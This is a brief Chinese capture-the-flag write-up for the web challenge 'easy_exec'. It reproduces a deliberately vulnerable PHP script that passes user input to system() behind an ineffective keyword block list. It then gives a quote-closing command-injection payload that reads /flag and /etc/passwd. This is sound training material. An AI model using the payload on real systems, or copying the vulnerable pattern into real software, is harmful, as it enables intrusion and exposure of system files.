BMZCTF-WEB-easy_exec

Posted TzZzEZ-web

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BMZCTF-WEB-easy_exec相关的知识,希望对你有一定的参考价值。

easy_exec

主页显示nofile。
在这里插入图片描述
尝试使用dirsearch扫描一下。
扫描发现两个文件。
在这里插入图片描述
查看de.php
显示着一段php代码。
在这里插入图片描述

<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\\'|\\`|\\\\|\\*|\\n|\\t|\\xA0|\\r|\\{|\\}|\\(|\\)|<|\\&[^\\d]|@|\\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $file1 = "";
if(preg_match("/\\'|\\"|;|,|\\`|\\*|\\\\|\\n|\\t|\\r|\\xA0|\\{|\\}|\\(|\\)|<|\\&[^\\d]|@|\\||ls|\\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $file2 = "";

$flag = "#flag in fllllag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

前面一大堆过滤,看到最后cmd参数,直接使用两个双引号进行闭合。
构建payload:

/?comm1=/flag";cat /flag;"&comm2=/etc/passwd

在这里插入图片描述
得到flag。

以上是关于BMZCTF-WEB-easy_exec的主要内容,如果未能解决你的问题,请参考以下文章

VSCode自定义代码片段——CSS选择器

谷歌浏览器调试jsp 引入代码片段,如何调试代码片段中的js

片段和活动之间的核心区别是啥?哪些代码可以写成片段?

VSCode自定义代码片段——.vue文件的模板

VSCode自定义代码片段6——CSS选择器

VSCode自定义代码片段——声明函数